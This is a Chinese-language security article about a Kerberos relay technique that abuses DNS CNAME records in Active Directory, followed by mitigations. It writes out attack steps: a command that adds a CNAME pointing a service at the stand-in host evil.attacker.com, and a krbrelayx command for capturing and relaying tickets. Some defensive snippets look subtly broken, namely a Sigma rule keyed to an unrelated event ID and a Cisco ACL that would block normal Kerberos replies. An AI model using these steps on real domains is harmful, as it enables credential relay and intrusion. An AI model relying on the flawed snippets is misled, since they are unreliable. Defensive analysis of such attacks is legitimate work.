1. Kerberos中继攻击的演变与防护困境Kerberos协议作为企业网络中最广泛使用的身份验证机制之一其安全性一直备受关注。传统Kerberos中继攻击Kerberos Relay Attack通常需要攻击者能够拦截或重定向网络流量这使得攻击门槛相对较高。但最新披露的攻击技术通过巧妙利用DNS CNAME记录完全绕过了现有的大多数防护措施。这种新型攻击的核心在于攻击者无需直接控制网络流量而是通过操纵DNS系统中的别名记录CNAME来实现认证请求的劫持。具体来说攻击者可以在目标域中创建恶意的CNAME记录将合法服务名称指向攻击者控制的服务器诱使客户端向恶意服务器发起Kerberos认证请求关键区别传统中继攻击需要中间人(MITM)位置而新方法仅需DNS写入权限攻击面显著扩大。微软在2023年发布的AD安全指南中特别指出约78%的企业未对DNS记录修改设置足够严格的权限控制。这使得攻击者一旦获得低级域账户权限就可能通过DNS记录篡改为后续攻击铺路。2. CNAME记录如何成为攻击跳板2.1 DNS别名机制的安全盲区CNAME记录本意是提供灵活的域名映射能力允许将多个别名指向同一个规范名称。在Active Directory环境中服务主体名称(SPN)通常与主机A记录绑定而CNAME记录可以创建额外的SPN引用路径。攻击者利用的工作流程查询目标域中可写的DNS区域添加形如legit-svc.target.com CNAME evil-server.attacker.com的记录等待客户端请求legit-svc.target.com服务客户端的Kerberos请求被重定向到攻击者服务器攻击者获取到可用于中继的TGS票据2.2 与常规攻击的对比分析攻击特征传统中继攻击CNAME中继攻击所需权限网络中间人位置DNS记录写入权限检测难度较易(需持续流量劫持)较难(单次DNS修改)影响范围局部网络段整个域环境防护措施有效性网络层防护有效现有方案大多失效3. PoC技术细节与复现条件已公开的概念验证(PoC)代码显示攻击成功需要以下前置条件对目标域DNS区域具有写入权限的账户禁用或未正确配置DNS动态更新安全策略目标服务使用Kerberos认证且未启用SMB签名等附加保护典型攻击步骤# 1. 添加恶意CNAME记录 Add-DnsServerResourceRecordCName -ZoneName target.com -Name sql-svc -HostNameAlias evil.attacker.com # 2. 监听Kerberos请求 python krbrelayx.py -cname sql-svc.target.com # 3. 等待客户端连接并获取票据 # 4. 中继票据到其他关键服务(如域控)实测发现Windows客户端默认会优先尝试解析CNAME指向的地址而不会验证SPN与最终目标的匹配性这是协议层面的设计缺陷。4. 企业环境中的防御实践4.1 即时缓解措施对于已部署Active Directory的企业建议立即实施DNS权限加固# 限制DNS记录修改权限 dsacls DCDomainDnsZones,DCtarget,DCcom /G DOMAIN\DNS Admins:WP;;CNMicrosoftDNS,DCDomainDnsZones,DCtarget,DCcom启用DNS记录变更审计在所有关键服务上强制启用SMB签名和LDAP通道绑定4.2 长期架构改进网络分区将DNS服务器与常规域控制器分离实施最小权限原则监测规则创建Sigma规则检测异常CNAME记录添加行为title: Suspicious DNS CNAME Record Addition description: Detects creation of CNAME records pointing to external domains logsource: product: windows service: dns-server detection: selection: EventID: 5152 RecordType: CNAME HostNameAlias|contains: - .com - .net - .org condition: selection falsepositives: - Legitimate external service integrations level: high5. 协议层缺陷与未来防护方向Kerberos协议设计时未充分考虑DNS层级的信任问题这导致三个根本性挑战名称解析与认证解耦客户端仅验证服务票据的有效性不验证解析地址与SPN的关联性CNAME处理逻辑缺陷RFC 4120未明确规定CNAME解析后的SPN验证要求DNS动态更新缺乏强认证现有DNSSEC部署率不足5%微软已在其2024年Q2安全更新中开始测试Strict SPN Checking功能要求客户端验证服务票据中的sname字段最终连接目标的主机名DNS解析链中的所有CNAME记录对于无法立即升级的系统可采用网络设备级防护! Cisco IOS示例拦截异常Kerberos流量 access-list 150 deny tcp any eq 88 any gt 1024 access-list 150 deny udp any eq 88 any gt 1024 access-list 150 permit tcp any any established这种攻击方式的出现再次证明在复杂的企业IT环境中任何基础协议的单层防护都不足以应对现代威胁。防御者必须建立从DNS到应用层的纵深防御体系同时保持对协议级漏洞的前瞻性研究。